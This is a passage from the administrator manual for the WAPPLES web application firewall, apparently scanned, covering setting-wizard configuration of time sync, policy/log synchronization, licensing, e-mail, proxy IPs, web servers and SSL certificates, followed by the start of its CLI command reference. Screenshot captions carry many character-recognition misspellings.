Pattern Management
© AddfEdit/Delete pattern for User Define Pattern Rule

Leweal Marne Pattern Count Regex Pattermn
Wi 0. penta 1 ol Update

Add pattern ” Edit pattern " Delete pattern ]

[ Cancel ][ < Back ][ Complete

Fig. XI11-40. Pattern Repository Setting

Click [Finish] in [Fig. XI11-40. Pattern Repository Setting] window to finish
pattern registration.

Registered patterns can be found in the customer setting of the User Defined Rule
of the detection policy and can be used as detection pattern.
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User, Defined Pattern

User Defined Pattern

Pattern Repositary Apply pattern
arne Pattern count  Use regex MHarmne
penta 1 n

SECUrty 1 x

[ Confirmmn H Cancel

Fig. XI11-41. User Defined (Rule Setting - Customer Setting)

1.9 Time Synchronization

WAPPLES synchronizes the time of the time server that the user registered and
the WAPPLES’s system time, and uses, [Time Synchronization] feature to set the
standard time zone that the user selected.

Select [Time Synchronization] in [Fig. XIII-2. Setting Wizard - Operation

Setting] and click [Next] to bring out [Fig. XIlI-42. Time Synchronization
Setting].
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Setting Wizard

Time Synchronization Setting
Time sync server setting

© Inserttime server information for time sync,

Execute synchronization

[ Use summer time

Time server IP ¢ |210,98.16.100 Fort Mumber @ |123
Garnaraly 123
Standard time zone { Asia w | | Seoul v
[ Cancel ] [ < Back ] [ Mext »

Fig. X111-42. Time Synchronization Setting

Table 104. Time Synchronization Setting Error Message

Error Message Cause

Time server IP and port number Time server IP and port number are

cannot be left blank left blank
When adding/editing time server
Incorrect IP IP, the IP entered is not in proper IP
format
The port number entered to port
Out of range number input field is smaller than 0
and greater than 65535
Enter numbers only The port number is not integer

Click “Execute Synchronization” in [Fig. X111-42. Time Synchronization Setting].
[Time Synchronization] will need IP and port information since it attempts
synchronization with the time server’s IP and port. Set the time server IP and port
number and the standard time zone to apply to the system, and click [Next] to
bring out [Fig. XI11-43. Time Synchronization Cycle Setting] window.
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Setting Wizard

Time Synchronization Setting
Tirme sync period

© et time sync period.

Sync period ;
Synchronize monthly

Synchronize at AM 0455 3
in rarthly,

[ Cancel ][ < Back ][ Mext >

Fig. X111-43. Time Synchronization Cycle Setting

You can set the time synchronization cycle to every hour, every day, every week,
and every month.

If you wish to synchronize time every day, specify the time. If you wish to
synchronize time every week, specify day and time. If you wish to synchronize
time every month, specify date and time.

When you click [Next] in [Fig. 204 Time Synchronization Cycle Setting], [Fig.

XI11-44. Time Synchronization Cycle Setting (] window will appear. Check the
content of the setting in this window and click [Finish].
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Setting Wizard

Time Synchronization Setting

Tirne sync. Information

© sae policy changed.

Using sync : o]

Lsing surnmer time x

Tirmne server : 210,92.16,100:122
Standard time zane Bsia Seaul

Synchronization period ;. Synchronize at 12:01

[ Bxecute synchronization immediately

[ Cancel ][ < Back ][ Complete

Fig. X111-44. Time Synchronization Cycle Setting (Completed)

1.10 Policy & Log Synchronization

Use policy/log synchronization (PLS) feature to synchronize policy and detection
log between two different WAPPLES.

You must fully aware of the following information before using this feature.

Limitation for Website Administrator’s Authority
The policies that website administrators configured will not be synchronized
when this is activated.

Operation Setting, Network Setting
This only synchronizes policy setting and log. Operation setting and network
setting are configured by WAPPLES management tool of each.

Web Server IP Registration
Web server IP that can be registered in network setting must be registered by
the network setting section of each WAPPLES management tool

Change Administrator Password

If you wish to change administrator’s password, you need to change the
password for this feature’s configuration environment with the same
password.

Select [Policy & Log Synchronization] in [Fig. XIII-2. Setting Wizard -
Operation Setting] to bring out Policy/Log Synchronization Wizard.
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Determine whether you will synchronize policy and log with [Policy & Log
Synchronization] in [Fig. XI11-45. Policy/Log Synchronization (PLS)]. If you do
not check this checkbox, policy/log synchronization will be canceled.

If you wish to synchronize policy and log, check [Policy & Log Synchronization]
checkbox and specify the IP of the WAPPLES system to synchronize and
management tool ID/password.

Also if you do not check [Synchronize Log], it will only synchronize policies and
if you check [Synchronize Log], it will synchronize policies and logs.

Setting Wizard

Policy/Log Synchronization(PLS)

Synchronization setting

© Type connection information of ohject WAPPLES that you will policy/lag synchranize.

Policy/Log Synchronization

Managernent Toaol IP [ Log synchronization

Managerment Tool Login 1D adrnin
Ex ) iogin 1D of WAPELES baing synchronized
Management Tool Login Password ;e

Ex ) Login password of WAPPLES haing synckhvarized

[ Cancel ][ < Back ][ Mext >

Fig. XI11-45. Policy/Log Synchronization (PLS)

Table 105. Policy/L nchronization Error M

Error Message Cause

WAPPLES IP, Management WAPPLES IP is blank
Tool ID/Password cannot be Management tool ID is blank

blank Management tool password is blank
The [IP entered when adding/editing
Incorrect IP management tool IP is not in proper IP
format

When you click [Next], you will see [Setting Completed] window as in [Fig.
XI11-46. Policy/Log Synchronization (PLS) Setting Completed]. Check the
contents of setting in this window and click [Finish] to apply settings to
WAPPLES.
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Setting Wizard

Policy /Log Synchronization{PLS)
Setting Completed

© There's no change.

Policy/Log Synchronization 0
Managernent Tool IP : 192,168.3.59
Managernent Tool Login ID : adrriin

Managernent Tool Login Password ; *¥#++*

Detection log synchronization X

[ Cancel ][ < Back ][ Complete

Fig. X111-46. Policy/Log Synchronization (PLS) Setting Completed

@ This feature (Policy/Log Synchronization (PLS)) has to be activated in the
WAPPLES to synchronize in order for this feature to operate normally.

1.11 License

License setting must be configured in WAPPLES 3.0R5 or later versions. If you
do not specify license, you will have limitations in using WAPPLES.

WAPPLES can limit the use of its features due to the license entered.
If the license is not configured when you accessed WAPPLES through

administrator’s console, you will see [Fig. XIII-47. License Setting Error]
message.

WARNING X

L "l,, Certificate license is nok set, Use of functions is limited.
L

Fig. XI11-47. License Setting Error
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Click [License] in [Fig. XIII-2. Setting Wizard - Operation Setting] to bring out
[Fig. X111-48. License Setting] window

Setting Wizard

License Setting
License Setting

© Import license file, and click [werify] button.

Contents of license setting

MNarne of customer |Cust0mer1| ‘ Import license fie...
Period | |~| ‘ Import key file...

[Certificated list of functions]
Function to add web server : Mo limit in registration
Update

[Mot certificated list of functions]

(IS

Cancel ][ < Back ][ Finizh

Fig. X111-48. License Setting

You can configure the license in [Fig. XI11-48. License Setting] window.

01 Setting

Click [Register License File] in [Fig. XI11-48. License Setting] window to import
a license file (*.cer). Click [Enter Key File] to import key file (*.key). Click
[\erify] and wait at the certificate verifying window as in [Fig. XI11-49. License
Setting Verification] for a few seconds.

1. Details of the WAPPLES Rules 372



Setting Wizard

License Setting
License Setting

© Import license file, and click [verify] button,

Marne of custormer | |

Period | | s | |

|

£

Cancel < Back Firigh

Fig. X111-49. License Setting Verification
® Failure

If the verification failed, [Fig. XI11-50. License Setting Failed] will appear.

[ WARNING X

@ Failed ko reqgister functional license. Check the license file,

Fig. X111-50. License Setting Failed

® Success

When the license setting succeeds, [Contents of License Setting] will show the

repair and maintenance period and service limitation related information.

Table 106. License Setting Error Message

Error Message Cause
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Error Message Cause

The name used for distinguish [P/Port
Access Control List already exists

Incorrect IP The IP is not in proper IP format

Port field is empty.

Port range is greater than 0~65535.

When setting port range, a character other
than [:] or [-] was used

The name already exits

Out of range

Enter numbers only.

1.12 E-MAIL

You can set e-mail related information used in [XI1.2 Send Report Mail] and
[Detection Log Interoperation] of [XI1I Setting Wizard].

When you click [E-MAIL] in [Operation Settings] to bring out the following
window.

Setting Wizard

E-MAIL Setting
E-MAIL Setting

© set e-mal

E-MAIL Setting

Sendet's address ¢ |pentas@pentasecurity. cor

SMTP address : 192,158.0,100|

Jf vouw campiste e-mial setting, you can wse fdetertion bz ntenocking
satting] or feend report Emait]

[ Cancel ][ < Back ][ ext »

Fig. XI11-51. E-MAIL Setting (E-MAIL and SMTP Server Setting)

Sender Address indicates the E-MAIL sender and E-MAIL address, and SMTP
address indicates the IP address of SMTP server.

After the setting is completed, click [Next >] on the right bottom. When [Fig.
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XI111-52. E-MAIL Setting (Check Setting)] appears, check the contents of setting
and click [Finish] on the right bottom.

Setting Wizard

E-MAIL Setting
Setting completed

© To apply following setting, dlick 'Complete’

Address of sender : pentas@pentasecurity.com

Address of SMTP 192,168.0.100

[ Cancel ][ < Back ][ Complete

Fig. XI11-52. E-MAIL Setting (Check Setting)

2. Network Setting

WAPPLES has to be placed the time server IP and port number to play the role as
the proxy in order to monitor HTTP/HTTPS traffics for security breach.
“Network Wetting” configures the Proxy IP to be used in the service port and the
network information of the web server to protect.

In [Fig. XIII-1. Setting Wizard - Main] window, select network setting and click
[Next] to bring out [Fig. XIII-53. Setting Wizard Network Setting (Select
WAPPLES)]. If there are more than one WAPPLES in a single network, select
WAPPLES ID to configure from the combo box in the middle and click [Next] to
enter the network setting wizard for the selected WAPPLES.
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Setting Wizard

Network Setting
Select WAPPLES

© please select a WAPPLES to configure.

192,168.3.154/24 (IDWSE-1030001)  » |

[ Cancel ][ < Back ][ MNext>

Fig. XI11-53. Setting Wizard Network Setting (Select WAPPLES)

2.1 Add/Edit/Delete Proxy IP

Select the WAPPLES to configure in [Fig. XII1-53. Setting Wizard Network
Setting (Select WAPPLES)] and click [Continue] and you will see the screen to
set WAPPLES proxy IP.

You can set more than 0 WAPPLES proxy IP and each proxy IP needs IP address
and netmask. Current proxy IPs are displayed on the Proxy IP/Netmask list in the
table on the right and you can add/edit/delete proxy IP with the Add/Edit/Delete
buttons on the left and IP/Netmask input field. You can also click [Load
Settings...] to [Load] previous settings to easily configure proxy IP settings.

@ [Load Settings...] loads the settings you previously saved. You must take
cautions as previous settings will be overwritten when you load the
settings using this button.

You can add/edit/delete proxy IP with IP/Netmask input field and
Add/Edit/Delete buttons. The following shows how to add/edit/delete proxy IP.

® Add
Enter IP and netmask to IP/Netmask input field, and click [Add] to add IP
and netmask to WAPPLES IP/Netmask list.
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Edit

When you click the IP and netmask to edit from WAPPLES IP/Netmask list,
corresponding content will be displayed in the IP/Netmask input filed. Edit
IP and netmask in the IP/Netmask input field and click [Edit] and the edited
IP and netmask will appear in WAPPLES IP/Netmask list.

Delete
Click the IP and netmask to delete from WAPPLES IP/Netmask list and
click [Delete] to delete the IP and netmask from WAPPLES IP/Netmask list.

Setting wizard will display the following error messages if the user enters
incorrect values when configuring Proxy IP.

Table 107. Proxy IP Setting Error Message

Error Message Cause

IP

You clicked [Add] or [Edit] when Proxy IP

cannot be blank input field is left blank

You clicked [Add] or [Edit] when the the

Incorrect IP IP you entered in Proxy IP input field is

incorrect

Incorrect netmask

You clicked [Add] or [Edit] when the
netmaks you entered in netmask input field
is blank or is not written in IP address
format

®

Some IP and netmask on WAPPLES IP/Netmask list can be presented in
red to indicate that there are web servers subordinated to the
corresponding IP. In this case, you cannot delete the IP instantly. You
need to delete all web servers subordinated to corresponding IP first in
order to delete the IP from WAPPLES IP/Netmask list.
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Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Network Setting
St PROXY IP

© Input IP and Metrnask, and click "Add" button to add.
Click information on list to edit or delete setting.Inline mode does not need Prosxy IP setting.

Add

[ Irnport setting... ]

with [Irmport setting], netwark setting
PROXY TP Metmask can be easily finished by loading saved
192.162.3.55 255.255.255.0 setting file by [Export setting] rmenu.

[Export setting] button is located at
the last step of network setting
wizard, and exports setting
information as a file.

[ Cancel ] [ < Back ] [ Mext =

Fig. X111-54. Network Setting (WAPPLES IP Setting)

When you click [Next] from [Fig. XIII-54. Network Setting (WAPPLES IP
Setting)(WAPPLES IP Setting)] you will see [Fig. XIII-55. Network Setting
(Route Table Setting))]. Enter basic gateway and additional gateway in this
screen.

WAPPLES needs basic gateway in order to operate normally. If you need to add
complicated route table in addition to the basic gateway, check [Additional
Gateway Setting] and use the input field to add gateway. Enter the route to in
input field and click [Add] or click the route from the list and edit it through the
input field or delete.
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Setting Wizard - {192.168.3.154/24 (ID:WSE-1030001))

Network Setting

Additional gateway setting
© Type network information of additional gateway.
Default gateway
Destination Add
MNetrmask
Destination Metrnask Gateway
[ Cancel ] [ = Back ] [ Mext = ]

Fig. X111-55. Network Setting (Route Table Setting)

Setting wizard will display the following error messages if the user enters
incorrect values when configuring gateway.

Table 108. W ing Error M

Error Message Cause

Gateway IP input field or additional
Incorrect gateway. gateway IP input field is blank or the
address entered is not in IP format
Destination or netmask input field is
Incorrect netmask. empty or the IP entered is in incorrect
format

2.2 Add/Edit Web Server

In case you did not configure Proxy IP, click [Next] in [Fig. XII1I-54. Network
Setting (WAPPLES IP Setting)(WAPPLES IP Setting)] to bring out [Fig. XI11-56.
Web Server Setting]. However, if you have configured Proxy IP setting, click
[Next] in [Fig. X111-55. Network Setting (Route Table Setting))] to bring out [Fig.
XI111-56. Web Server Setting] screen.

Click [Add], [Edit], and [Delete] buttons on the right to edit web server
information.
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Click [Add] in [Fig. XI11-56. Web Server Setting] or select the web server to edit
from the web server list and click [Edit] to start the web server setting wizard as
in [Fig. XI11-57. Add/Edit Web Server (Web Server IP Setting))].

Setting Wizard - (192.168.3.154/24 (ID: WSE-1030001))

Network Setting
wWeh server setting
© Click addfedit/delete to continue wark,
If you click one of these buttons, proper work window will be opened
weh server IP PROXY IP SEL Add...
192.168.3.153:80 Inline Mode X
Cancel ] [ « Back ] [ Mext >

Fig. X111-56. Web Server Setting

Let’s take a look at web server setting. If you are operating a number of websites
with a single physical web server, you need to consider each website as
independent web server when you configure WAPPLES. For example, if you are
operating the main website (HTTP service) at port 80 in the web server at
192.168.0.10, port 443 as SSL website (HTTPS) for log in or personal
information, and port 8080 for special purpose, you must consider 3 websites as 3
web servers. In other words, the website is registered based on web server IP and
port.

If you wish to set up web servers in proxy mode, select one of IP addresses you
registered in the previous stage for WAPPLES Proxy IP on the right, and enter the
port directly.

If you wish to set up web servers in inline mode, select “Inline Mode” in the
Proxy IP input area on the right as in [Fig. X111-57. Add/Edit Web Server (Web
Server IP Setting)(Web Server IP Setting)]. You do not enter port number in case
you select Inline Mode.

As in [Fig. XI1-57. Add/Edit Web Server (Web Server IP Setting)], enter the web
server address protected by WAPPLES on the web server IP input area on the left.
For the web server that provides general HTTP service, select [SSL Disabled]
from the combo box in the center of the window. If the web server is set up on
SSL Port (generally 443) for HTTPS service, select [SSL] from the combo box in
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the center.

Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Edit web server
IP setting

© st network information for WAPPLES and web server as follows,

Web Server IP : [ Check weh server status
Web 192.168.3.153
Sgrver Port : Host name:

a0 B
i File to check:
W Internet
' Tirme for waiting
PROYY TP : reporse;
Inline Mode v @ Checking period:
Part : \ L1 a

WAPPLES |55L Disable v Reduest Method © | GET

S5L
S5L Terminati
Efiner Cancel Meut »

Fig. X111-57. Add/Edit Web Server (Web Server IP Setting)

In SSL, WAPPLES decrypts and inspects the encrypted request packet from the
web client and encrypts it again and sends it to the web server. Also, WAPPLES
decrypts and inspects the encrypted response packet from the web server, and
encrypts it again and sends it to the web client. This allows safe inspection of SSL
traffic, but delays the handling of SSL traffic as it repeats encryption and
decryption. WAPPLES provides SSL Termination option to resolve performance
degradation.

When SSL Termination is selected, WAPPLES decrypts and inspects the
encrypted request packet of the web client and sends it to the web server without
encrypting. Also, WAPPLES receives unencrypted response packet from the
server, inspects the packet, and encrypts the packet and sends to the web client. In
other words, when WAPPLES is in SSL Termination option, the web client
considers WAPPLES as SSL web server and communicates in HTTPS and
WAPLLES decrypts and inspects web client packet and sends it to the web server
in HTTP. This reduces encryption and decryption process by half to enhance
performance. However in SSL Termination option, you need to make sure the
web server is only accessible through WAPPLES or place the server in the
network where WAPPPLES is installed to disable the access from external
network.

When configuring SSL Termination options in Inline Mode, you need to set the
web server port on the left to the port that provides general HTTP services
(general 80 or 8080) as in [Fig. XIII-58. Add/Edit Web Server (Inline SSL
Termination Setting)]. The WAPPLES Port on the left can be changed but
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generally port 443 is used for HTTPS.

Setting Wizard - (192.168.3.154/24 (ID: WSE-1030001))

Edit web server
IP setting

© set network information for WAPPLES and web server as follows,

wieh Server IP . [] check weh server status
Web 192.168.3.153

File to check: l:l

Tirne for waiting l:l
[(=lalnlg=0

Checking period: |:|

WASPLES |S5L Termin: v Request Method : | GET

Internet

PROXY IP .
[nline Mode

pul
i;
@

Fig. X111-58. Add/Edit Web Server (Inline SSL Termination Setting)

When you configure SSL Termination option in Proxy Mode, you must set the
web server port on the left to the port that provides general HTTP services
(general 80 or 8080) as in [Fig. XIII-59. Add/Edit Web Server (Proxy SSL
Termination Setting) (Proxy SSL Termination Setting)]. For WAPPLES IP on the
right, you can select the IP you configured in [Fig. XII1-54. Network Setting
(WAPPLES IP Setting)(WAPPLES IP Setting)] from the combo box. You can
also change WAPPLES Port, but use port 443 used for HTTPS as in the Inline
Mode. [Fig. XIII-58. Add/Edit Web Server (Inline SSL Termination
Setting)(Inline SSL Termination Setting)].
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Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Edit web server
IP setting

© Set network information for WAPPLES and web server as follows,

Web 192.168.2.153

7" File to check: I:I
W nternet
) Time for waiting I:I
PROXY IP reponse:
e q{@} Checkig pariod: [l |
.

WADPPLES |S5L Terming v | Request Method @ | GET

l Web Server IP : [ check web server status

Fig. X111-59. Add/Edit Web Server (Proxy SSL Termination Setting)

Setting wizard will display the following error messages if the user enters
incorrect values when configuring web server

Table 109. Add/Edit W rver Error M

Error Message Cause

The web server IP entered to web
server IP input field is empty
The web server IP is not in IP

IP cannot be left blank.

Incorrect IP.

format

The port number entered to the port
Out of range input field is smaller than 0 or

greater than 65535

The port number entered is not an
Enter number only .

integer

If you wish to set WAPPLES Proxy Port automatically, enter a blank character in
the port, and then WAPPLES will automatically allocate a port number.

When you configure WAPPLES Proxy IP Port in editing mode, make sure to
choose the port other than the one used for previously registered Proxy IP.

Fill the input fields with appropriate information and click [Next], move to SSL

certificate registration page or the page for confirming the settings depending on
the use of SSL.
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[Fig. X111-60. Add/Edit Web Server (Import Certificate)] screen is the SSL certificate
registration page and it appears when you chose [Use SSL] in the previous screen.

@ If you activate [Use SSL], you need to enter the port number specified in
the web server for SSL communication to the web server port and
WAPPLES proxy port

Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Edit web server

Import: certificate

'° Reqister certificate using S5L.

Marne of certificate fils |

[ Reqister mediation certificates

Marne of mediation certificate file

Be able to load following types of certificate.
- PKCS #12 bype certificate {.PFX, .P12) - Single %.509 certificate {.CER, .CRT)

[ Cancel ][ < Back ]’ Mext >

Fig. X111-60. Add/Edit Web Server (Import Certificate)

In order to protect a web page which uses SSL with WAPPLES, you must register
the certificate and private key used by the website.

To register, click [Browse] to load a certificate. The type of certificates that can
be used PKCS #12 type which combines the certificate and the private key and
the independent certificate. According to the type of the certificate, you will have
to import certificate and private key in order or will be asked to provide the
password.

When both certificate and private key file are read, the certificate and the private
key file must match each other in order to load them successfully.

If the website’s certificate requires intermediate certificate, check [Register
Intermediate Certificate] and load intermediate certificate.

When you import certificate and private key successfully, you will be able to see
the certificate’s information in [Fig. XI11-61. Add/Edit Web Server (Confirmation
of Certificate Information and Additional Setting)].

If the web server is already set to SSL, and you are about to edit the setting, you
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will see [Fig. XIII-61. Add/Edit Web Server (Confirmation of Certificate
Information and Additional Setting))] directly without [Fig. X111-60. Add/Edit
Web Server (Import Certificate)] and if you wish to edit the certificate setting,
click [Reload].

Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Web server setting s LN V.0, A A ‘

Certificate information or addition setting

€ checkinformation of certificate.

Issuer v vetisign, comfCPS Incorp.by Ref, LIABILITY LTD.(c)37 YeriSign
Walid date : 9/16/2008 9:00:00 A from 10/6/2010 5:59:59 AM
Irnpatt again.
[ Cancel ] ’ < Back ] ’ Mexst > ]

Fig. X111-61. Add/Edit Web Server (Confirmation of Certificate Information and
Additional Setting)

Setting wizard will display the following error messages if the user enters
incorrect values when configuring web server SSL certificate and private key.

Table 110. SSL Add/Edit Error Message

Screen Error Message Cause

This cannot be Certificate and private key path
blank. field is empty

Import . The file format of the certificate
Certificate/Priv . ; h .
ate Key File cannot be read. and private key file loaded is

unknown
Cannot find the file. Cannot find the file to load

The password entered does not

Enter Password I_Z’assword 5" match the password of PKCS #12
incorrect. .
type file
. Certificate does not Certificate does not match private
Miscellaneous -
match private key key

When you uncheck “HTTPS Web Server Connection” in [Fig. XI11-61. Add/Edit
Web Server (Confirmation of Certificate Information and Additional Setting)] the
web server access from WAPPLES can be made through HTTP instead of HTTPS.
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If you click [Next] in [Fig. XIII-57. Add/Edit Web Server (Web Server IP
Setting)] without checking SSL or click [Next] in [Fig. XI11-61. Add/Edit Web
Server (Confirmation of Certificate Information and Additional Setting)], [Fig.
XI111-62. Add/Edit Web Server (Completed)] will appear.

Check settings again and click [Finish] to add/edit web server and return to [Fig.
XI11-56. Web Server Setting].

Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Edit web server

Confirm setting

© Tosave following contents, click "Confirm”

Weh server address 192,168.3,153:80
WAPPLES proxy address @ Inline Made

Using S5L or not disabled

[ Cancel ][ < Back ][ Canfirm

Fig. XI11-62. Add/Edit Web Server (Completed)

2.3 Delete Web Server

If a registered web server has incorrect settings or is no longer the subject of
protection, you can delete the registered web server.

Select the web server from the list in [Fig. XI11-56. Web Server Setting] and click
[Delete], and you will see [Fig. X111-63. Delete Web Server (Completed)]. Check
[Yes, delete the web server.] on the bottom and click [OK] then the web server

will be deleted.

When the deletion completes, [Delete Web Server] screen will close and [Fig.
XI111-56. Web Server Setting] will appear again.
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Setting Wizard - (192.168.3.154/24 (ID:WSE-1030001))

Delete web server

Confirm setting

£ Delete network information of Following website.

Web server address : 192.168.3.153:80
WAPPLES proxy address :  Inline Mode

Using 35L or not disabled

[ wes, delete web server,

Catcel

Fig. XI11-63. Delete Web Server (Completed)

Click [Next] in [Fig. XI11-56. Web Server Setting(WAPPLES IP Setting)] and you
will see [Fig. XIII-64. Network Setting (Completed)]. You can confirm the
network information you have configured and also save the settings into a file.

You can click [Export Settings...] to save network settings into a file and load
them again in [Fig. XI11-54. Network Setting (WAPPLES IP Setting)(WAPPLES
IP Setting)].

Click [Finish] to apply the setting to WAPPLES. If the network environment

currently applied to WAPPLES is correctly entered to the management tool, it
will enable the communication with the web server.
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Setting Wizard - [192.168.3.154/24 (ID:WSE-1030001))

Network Setting
Setting Complete

© To apply following setting, click 'Complete’

B PROXY IP: 192.168.3.55

m Default gateway :

w1 Additional gateway 0 items.

i Control web server 192.168.,3.153:80

Export setting...

[ Cancel ] [ < Back ] [Complete]

Fig. XI11-64. Network Setting (Completed)

@ When network setting is applied to WAPPLES, the web traffic passing
through WAPPLES can be stopped temporarily.
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XIV. CLI(Command Line Interface)
Command

This is the CLI (Network-Platform Command Line Interface) on network
platform provided to set management port, bypass, and monitoring for WAPPLES.

1. CLI (Command Line Interface) Structure

WAPPLES’s Command Line Interface is divided into total 4 depths, and the
settings that cannot be made with WAPPLES GUI management tool can be made
through CLI.

Fig. XIV-1. Initial Prompt of WAPPLES CLI

When you access WAPPLES CLI through Telnet, the initial prompt, penta-np>, will appear, and
you can verify yourself by typing [enable] command, and after the verification the prompt
will change to penta-np# and you will able to enter WAPPLES CLI commands. Use [list]
command to check the commands you can use in each prompt.
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Depth 1 Depth 2 Depth 3 Depth 4
enable | ——]__Configure 1 M
—
— L] —e
—E
ogout | | disabie | deblc _m
—
—
qut | []_passwa |
—
— | = —

Persistentsess

Ha-own-state

Ha-state-conf

1 10111

Bridge

Bonding

LETELI

ion
detectengine

resource Refresh

messages

\

Fig. XIV-2. Overall Structure of WAPPLES CLI

CLI commands related with
hardware and software bypass
setting

CLI commands for configuring and
monitoring packet mirroring for
specific port among service ports

CLI commands related with deep

. packet inspection such as
monitoring packet and managing
session

CLI commands related with the
— configuration of WAPPLES High
Availability

L_ CLI commands related with the
network used by WAPPLES

commands related with

CLI
} WAPPLES System Resource

CLI commands for identifying and
L__ recovering the current status of

WAPPLES including system

monitoring and WAPPLES log

J
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2. Help

When you use the question mark [?] command, you can see the list of all
available commands. When you add a question mark after a command, you will
see the descriptions about the parameters that can be used with the command.

Table 111. Help Relat mman

Command Description
? Shows the list of all available commands.
[Command] ? Shows how to use the command.

3.Log In

You can access network platform CLI when you access WAPPLES through the
serial port or SSH. You must log on in order to execute a command. You can
check the list of commands in [Table 112. Log In Related Command].

Table 112. Log In Rel mman
Command Description
enable Obtain authority to execute configuration related commands.
exit Terminates current mode or moves to previous stage
list Displays the list of commands.
logout Terminates CLI.
quit Terminates current mode or moves to previous stage

When you verify yourself by typing [enable] command and entering correct
password, you can enter CLI mode. If you are verifying yourself for the first time
to enter CLI mode, you will not need to enter the password.

Hello, this is Network-Platform CLI tool
Copyright 2009 Pentasecurity Inc.
penta-np> enable

password:

penta-np#

Commands that can be used in CLI mode and descriptions related with the
commands are listed in [Table 113. enable Related Command].

Table 113. enable Rel mman
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Command Description

Enters the configure mode from penta-np# interface.

configure Ex) configure terminal

disable Quits the command mode.

end Terminates current mode or changes to enable mode
exit Terminates current mode or moves to previous stage
list Displays the list of commands.

passwd Configures password for enable verification.

quit Terminates current mode or moves to previous stage
reboot Reboots the system.

restart Restarts the service.

save Saves the setting.

configuration Ex) save configuration

shutdown Shuts down the system.

When you enter [configure terminal] command, you can enter configuration
mode. Only in configuration mode, you can set Management Port and execute
other commands.

penta-np# configure terminal
penta-np(config)#

When you enter [disable] command, CLI mode will be terminated.

penta-np# disable
penta-np>

When you enter [passwd] command, you can set the password for obtaining the
authority for CLI mode.

penta-np# passwd
input password:
confirm password:
OK.

penta-np#

When you enter [save configuration] command, you will be able to save current
setting.

penta-np# save configuration
WRITING..

OK.

penta-np#
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4. Configure Command

WAPPLES commands you can execute after activating configuration mode by
entering configure command are listed in [Table 114. configure terminal Related

Command].
Table 114. configure terminal Relat mman
Command Description
bypass Sets Bypass feature.
dpi Sets deep packet inspection feature
end Terminates current mode or switches to enable mode
exit Terminates current mode or moves to previous stage
list Displays the list of commands.
ha Configures HA setting and Shared-Session.
network Configures network information.
quit Terminates current mode or moves to previous stage
resource Checks system resources.
wapples Configures WAPPLES
4.1 Bypass

WAPPLES supports the bypass feature of the following [Table 115. bypass
Command] through the Bypass command of Configuration.

Table 115. mman
AELEL Description
Command
bypass-link Sets bypass Ethernet device.
bypass-type Sets bypass type.
end Terminates current mode or switches to enable mode
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Related
Command

Descripti

on

exit

Terminates current mode or moves to previous stage

hw-bypass

Sets hardware bypass.

hw-default-act

Sets default action for hardware bypass.

hw-nifc Sets hardware NIFC.

list Shows the list of commands.

quit Terminates current mode or moves to previous stage
Saves setting.

save . .
Ex) save configuration

show Shows hardware and software bypass information.

sw-bypass Sets software bypass.

01 Bypass Setting

To bypass packets, you can manage bypass setting by using commands in [Table
116. bypass Setting Command].

Table 116. in mman
Related —
Command Description Example
Register network interface name
bypass-link of the slot of the hardware to bypass-link set 1 optO

bypass.

bypass-type

Register the bypass type of the
corresponding slot of
WAPPLES.

bypass-type set 1 n2282

hw-bypass

Sets the bypass of registered
hardware. (Enforce the setting if
timeout is 0)

hw-bypass set on(off) 0

hw-default-act

Sets the default action of the
registered hardware.

hw-default
bypass(disconn)

set

hw-nifc Sets NIFC  of registered hw-nifc set on(off)
hardware.
sw-bypass Sets software bypass. sw-bypass set on(off)

1) H/W Bypass Type and Link Setting

penta-np(config)# bypass
penta-np(config-bypass)# bypass-link set 1 opt0
penta-np(config-bypass)# bypass-type set 1 n2282
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@ CLI commands concerned with settings and changes will be applied to
WAPPLES only when you execute ‘save configuration’ command

2) Enforcing H/W Bypass setting

penta-np(config)# bypass
penta-np(config-bypass)# hw-bypass set on 0

4.2 DPI (Deep Packet Inspection)

Use DPI commands to configure and monitor the information about the session.
DPI commands available in CLI are as follows.

Table 117. DP1 Command

Related Command Description
end Terminates current mode or moves to previous stage
exit Terminates current mode or moves to previous stage
filter Adds session filter list.
list Shows the list of commands
monitoring Configures monitoring mode
persistentsession Configures persistent session.
quit Terminates current mode or moves to previous stage
Saves settings.
save . .
Ex) save configuration
If on, sessions will be detected even after connection is
session-splicing completed
If off, default setting
sessionlist Manages session list
sessiontimeout Configures session time out
show Shows system information

@ CLI commands concerned with settings and changes will be applied to
WAPPLES only when you execute ‘save configuration’ command
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4.3 Network

Use network commands to configure IP address and netmask, and gateway of
service port and control port. Network commands available in CLI are as follows.

Table 118. network Command

Related
Command

Description

arp

Manages arp entry

bonding-
disable

Disables channel bonding

bonding-
enable

Enables channel bonding

bonding-
enslave

Sets a link to the bonding interface

bonding-
mode

Sets bonding interface

bridge

Manages service port

bridge-int

Manages service bridge

end

Terminates current mode or switches to enable mode

exit

Terminates current mode or moves to previous stage

link

Sets a link

link-addr

Sets hardware address

link-brd

Sets broadcast address of the link

link-duplex

Sets the communication method for the link

link-ethset

Sets the L1-2 layer value of the link

link-mtu

Sets the mtu value.

link-name

Sets the name of the link.

link-nego

Sets the negotiation method of the link.

link-speed

Sets the line speed of the link.

link-status

Sets the status of the link.

link-type

Sets the type of the link.

list

Displays command list
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Related

o Description
mactable Manages MAC address table.
ping Executes ping
quit Terminates current mode or moves to previous stage
rt Sets route table.
show Shows the information of the operating system.
udev-init Initializes the port name of the Ethernet.

01 Setting Channel Bonding Features
You can bind a number of physical ports of WAPPLES into a logical interface to

enhance bandwidth and provide a channel backup. Use bonding related command
for these settings.

® Canceling / Setting Channel Bonding

To configure channel bonding in CLI, you need to designate the number of
bonding interfaces. Enter the following.

penta-np(config)# network
penta-np(config-network)# bonding-enable
<1-10> bonding interface number
penta-np(config-network)# bonding-enable 2
OK.

To cancel channel bonding in CLI, enter the following.

penta-np(config)# network
penta-np(config-network)# bonding-disable
OK.

Enter the following to inquire setting.

penta-np(config)# network
penta-np(config-network)# show bonding-info

@ Configuring bonding interface

You can configure bonding interface using bonding-mode command in CLI.

penta-np(config)# network
penta-np(config-network)# bonding-mode
set set bonding mode
penta-np(config-network)# bonding-mode set
BONDDEVNAME bonding interface name
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penta-np(config-network)# bonding-mode set bond0
etherchannel set etherchannel mode

lacp set lacp mode
penta-np(config-network)# bonding-mode set bond0 lacp
OK.

Configuring bonding interface link

